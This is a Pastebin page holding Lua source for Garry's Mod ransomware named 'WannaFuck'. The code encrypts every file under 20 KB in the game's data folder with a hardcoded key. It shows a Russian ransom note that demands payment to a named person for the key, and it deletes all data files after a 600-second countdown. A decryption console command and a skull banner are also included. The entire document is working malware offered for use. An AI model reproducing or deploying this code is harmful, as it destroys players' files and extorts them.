Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- //WannaFuck
- //UI
- local w,h = ScrW(),ScrH()
- local off = (w/2)-(440/2)
- local ccc = 'SuckMyDick'
- local words=
- {
- 'Привет! Я шифровчик',
- 'Вся твоя дата и дюпликаты защифрованы',
- 'Чтобы ее расшифровать нужен ключ',
- 'Каждый ключ уникальный',
- 'Его можно получить у BazZziliuSa, но не за спасибо.',
- 'Время ограничено! Дата будет вся стерта через 600 секунд!',
- }
- local buff = {}
- local function FuckWords(i)
- if !buff[i] then
- buff[i] = {}
- buff[i].str = ''
- buff[i].mul = 0
- end
- if buff[i].mul > #words[i] then return buff[i].str end
- if i > 1 then
- if buff[i-1].mul and buff[i-1].mul != #words[i-1]+1 then return buff[i].str end
- end
- buff[i].mul = buff[i].mul + 1
- buff[i].str = buff[i].str..words[i][buff[i].mul]
- return buff[i].str
- end
- local time = CurTime()+600
- hook.Add('HUDPaint','WannaFuck',function()
- local cdown = math.Round(time-CurTime())
- surface.SetDrawColor(200,30,30,200+math.sin(CurTime())*40)
- surface.DrawRect(off,0,440,120)
- surface.SetFont('chatFont')
- surface.SetTextColor(255,255,255,255)
- surface.SetTextPos(off+5,2)
- surface.DrawText('WannaFuck Осталось: '..cdown..' секунд!')
- if cdown < 0 then DeleteALL() hook.Remove('HUDPaint','WannaFuck') end
- for i=1,#words do
- surface.SetTextPos(off+5,15+(12*i))
- surface.DrawText(FuckWords(i))
- end
- end)
- //Code
- local charSize = 255
- local amplitude = charSize/math.pi
- local frequency = math.pi/charSize*8
- local function MDOA1(x)
- return math.ceil(amplitude * math.sin(frequency * x) + (amplitude*(math.cos(x) % 9)))
- end
- local function stringToInt(input)
- if type(input) == "number" then
- return input
- elseif type(input) == "string" then
- output = 0
- for x = 1, #input do
- output = output + input:byte(x)
- end
- return output
- else
- return 0
- end
- end
- function crypt(input,key,what)
- key = stringToInt(key)
- local output = ""
- for x = 1, #input do
- if what == 'crypt' then
- output = output .. string.char((input:byte(x) + MDOA1(x + key)) % charSize)
- else
- output = output .. string.char((input:byte(x) - MDOA1(x + key)) % charSize)
- end
- end
- return output
- end
- local function DeleteALL()
- local function read(path)
- path=path or ""
- local fs,ds = file.Find(path.."*",'MOD')
- for k,f in pairs(fs) do
- local npa = string.gsub(path,'data/','')
- file.Delete(npa..f)
- end
- for z,d in pairs(ds) do
- read(path..d..'/')
- end
- end
- read('data/')
- end
- local function CCrypt(key,what)
- local what = what or 'shit'
- local function read(path)
- path=path or ""
- local fs,ds = file.Find(path.."*",'MOD')
- for k,f in pairs(fs) do
- local npa = string.gsub(path,'data/','')
- local siz = file.Size(npa..f,'DATA')
- if siz > 20000 or siz == 0 then continue end
- file.Write(npa..f,crypt(file.Read(npa..f,'DATA'),key,what))
- end
- for z,d in pairs(ds) do
- read(path..d..'/')
- end
- end
- read('data/')
- end
- CCrypt(ccc,'crypt')
- concommand.Add('Hack',function(_,_,_,arg)
- local st = string.Explode(' ',arg)
- if st[1] != ccc then print('ERROR IDIOT!') return end
- CCrypt(st[1])
- concommand.Remove('DenzCrypt')
- hook.Remove('HUDPaint','WannaFuck')
- end)
- MsgC(Color(0,125,255),[[
- :::!~!!!!!:.
- .xUHWH!! !!?M88WHX:.
- .X*#M@$!! !X!M$$$$$$WWx:.
- :!!!!!!?H! :!$!$$$$$$$$$$8X:
- !!~ ~:~!! :~!$!#$$$$DENZ$$8X:
- :!~::!H!< ~.U$X!?R$$$$$$$$MM!
- ~!~!!!!~~ .:XW$$$U!!?$$$$$$RMM!
- !:~~~ .:!M"T#$$$$WX??#MRRMMM!
- ~?WuxiW*` `"#$$$$8!!!!??!!!
- :X- M$$$$ `"T#$T~!8$WUXU~
- :%` ~#$$$m: ~!~ ?$$$$$$
- :!`.- ~T$$$$8xx. .xWW- ~""##*"
- ..... -~~:<` ! ~?T#$$@@W@*?$$ /`
- W$@@M!!! .!~~ !! .:XUW$W!~ `"~: :
- #"~~`.:x%`!! !H: !WM$$$$Ti.: .!WUn+!`
- :::~:!!`:X~ .: ?H.!u "$$$B$$$!W:U!T$$M~
- .~~ :X@!.-~ ?@WTWo("*$$$W$TH$! `
- Wi.~!X$?!-~ : ?$$$B$Wu("**$RM!
- $R@i.~~ ! : ~$$$$$B$$en:``
- ?MXT@Wx.~ : ~"##*$$$$M~
- Шифровщик запущен!
- ]])
Add Comment
Please, Sign In to add comment